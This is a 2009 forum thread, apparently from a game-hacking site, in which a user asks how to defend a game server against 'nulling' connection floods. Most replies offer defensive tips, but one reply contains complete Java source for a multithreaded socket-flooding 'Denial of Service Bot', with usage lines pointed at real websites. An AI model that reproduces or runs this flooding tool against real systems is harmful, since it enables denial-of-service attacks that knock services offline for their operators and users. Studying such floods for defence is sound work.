SYI Nulling

Discussion in 'Programming General' started by i am java, Mar 10, 2009.

SYI Nulling
  1. Unread #1 - Mar 10, 2009 at 5:58 PM
  2. i am java
    Joined:
    Apr 9, 2008
    Posts:
    231
    Referrals:
    0
    Sythe Gold:
    0

    i am java Active Member

    SYI Nulling

    Everyone here should know what the Syipkpker does. It has two options: sending fake login packets and nulling. In order for my friend to be able to stop both of them, he needs to know what exactly "nulling" does. Anyone here know?

    Oh, and he said that limiting connections per IP should help. But I figured I'd ask here anyways.
     
  3. Unread #2 - Mar 16, 2009 at 11:14 PM
  4. i Acer
    Joined:
    Mar 16, 2009
    Posts:
    10
    Referrals:
    0
    Sythe Gold:
    0

    i Acer Newcomer

    SYI Nulling

    Most SYI's have viruses. Don't download any random one. You should scan before using. :]
     
  5. Unread #3 - Mar 20, 2009 at 7:04 PM
  6. Revel
    Joined:
    Mar 19, 2009
    Posts:
    20
    Referrals:
    0
    Sythe Gold:
    0

    Revel Newcomer

    SYI Nulling

    Nulling is basically filling up a server's player requests until the server eventually shuts down.
     
  7. Unread #4 - Mar 27, 2009 at 1:22 PM
  8. i am java
    Joined:
    Apr 9, 2008
    Posts:
    231
    Referrals:
    0
    Sythe Gold:
    0

    i am java Active Member

    SYI Nulling

    So, would restricting logins to one per IP stop it?
     
  9. Unread #5 - Apr 16, 2009 at 4:58 AM
  10. Epic Anomaly
    Joined:
    Jan 21, 2009
    Posts:
    315
    Referrals:
    0
    Sythe Gold:
    0

    Epic Anomaly Forum Addict
    Banned

    SYI Nulling

    I have a simple bot you can use. I'm unsure how SYI works, either repeated pinging or sending packets to the server.

    Code:
    import java.io.PrintStream;
    import java.net.Socket;
    
    public class Bot implements Runnable {
    
    			/*******
    			@echo off
    			title Denial of Service Bot
    			::Arguments - [String hostname] [int port] [int threadcount] [int sockcount]
    			java Bot rune-server.org 80 76 9999
    			pause
    			*******/
    
    
    	public static long startTime;
    		//
    	public static Bot[] BotThreads;
    		//
    	public static int attackPort;
    	public static String attackHost;
    		//
    	public static int maxSockets;
    		//
    	public static int badThreads;
    	public static int goodThreads;
    		//
    	public static boolean dead;
    
    	Socket sock;
    
    	public Bot() {
    		this.sock = null;
    	}
    
    
    	public static void main(String args[]) {
    		System.out.println("Denial of Service - Starting...");
    		startTime = System.currentTimeMillis();
    			if (args.length != 4) {
    				die("Syntax: <host> <port> <threads> <sockets>");
    					}
    					try {
    						System.out.println("[" + Integer.parseInt(args[3]) + " Sockets] [" + args[2] + " Threads] @ [" + args[0] + ":" + args[1] + "]");
    							goodThreads =  0;
    							badThreads = 0;
    								attackHost = args[0];
    								attackPort = Integer.parseInt(args[1]);
    								maxSockets = Integer.parseInt(args[3]);
    								BotThreads = new Bot[Integer.parseInt(args[2])];
    							for (int i = 0; i < Integer.parseInt(args[2]); i++) {
    					BotThreads[i] = new Bot();
    					new Thread(BotThreads[i]).start();
    				}
    				while(true) {
    					try {
    				Thread.sleep(1000);
    			} catch(Exception __ex) {
    				}
    				System.out.println("Bot Data: " + (goodThreads + badThreads) + " (" + goodThreads + " threads, " + badThreads + " null threads)");
    			}
    		} catch(Exception _ex) {
    			die("Startup Error.");
    		}
    	}
    
    
    	public void run() {
    		try {
    			while(this.goodThreads + this.badThreads <= this.maxSockets) {
    				synchronized(this) {
    					try {
    						sock = new Socket(this.attackHost, this.attackPort);
    						this.goodThreads++;
    					} catch(Exception _ex) {
    							this.badThreads++;
    						}
    					try {
    					Thread.sleep((int)(Math.random()*500));
    				} catch(Exception __ex) {
    					this.die("Run Error.");
    					}
    				}
    			}
    			synchronized(this) {
    		this.die("Sockets opened: " + (goodThreads + badThreads) + " (" + goodThreads + " Valid Threads, " + badThreads + " Null Threads)");
    			}
    		} catch(Exception _ex) {
    			this.die("Error initializing thread.");
    		}
    	}
    
    
    	public static void die(String str) {
    		dead = true;
    		for(int i = 0; i < BotThreads.length; i++) {
    			if (BotThreads[i] == null) continue;
    			BotThreads[i] = null;
    		}
    		System.out.println("\n" + str);
    		System.out.println("Total attack time: " + ((System.currentTimeMillis()-startTime)) + "ms");
    		System.exit(0);
    		}
    	}
    
    Example usage (batch.)

    Code:
    			@echo off
    			title Denial of Service Bot
    			::Arguments - [String hostname] [int port] [int threadcount] [int sockcount]
    			java Bot sythe.org 80 76 9999
    			pause
    Be responsible. ;)
     
  11. Unread #6 - Apr 20, 2009 at 3:18 PM
  12. i am java
    Joined:
    Apr 9, 2008
    Posts:
    231
    Referrals:
    0
    Sythe Gold:
    0

    i am java Active Member

    SYI Nulling

    Thread's old, and I am unsure how that helps me at all, actually. I wasn't looking for an SYI/DoS script, I was asking how to prevent it, lol.
     
  13. Unread #7 - Apr 24, 2009 at 11:27 AM
  14. Epic Anomaly
    Joined:
    Jan 21, 2009
    Posts:
    315
    Referrals:
    0
    Sythe Gold:
    0

    Epic Anomaly Forum Addict
    Banned

    SYI Nulling

    You should be more specific.

    Also, wouldn't looking at the code be the best way to understand how the attacks work and the best way to prevent them?
     
  15. Unread #8 - May 10, 2009 at 1:47 AM
  16. SilabGarza
    Joined:
    Dec 26, 2008
    Posts:
    108
    Referrals:
    1
    Sythe Gold:
    0

    SilabGarza Active Member
    Banned

    SYI Nulling

    okay well this is how i stopped it

    i downloaded a program that reads all connections to ur computer's ip
    and restrict the nullers so they don't do anything
    so it doesnt effect the server as much, however u have to constintly monitor it

    or the expensive way... buy a VPS, like from vpsland or mghoster


    also in server.java in the run method if (playerName.length() == 0) { s.close(); }
     
< Sending strings to RS with hotkeys | Screenshot! >

Users viewing this thread
1 guest


 
 
Adblock breaks this site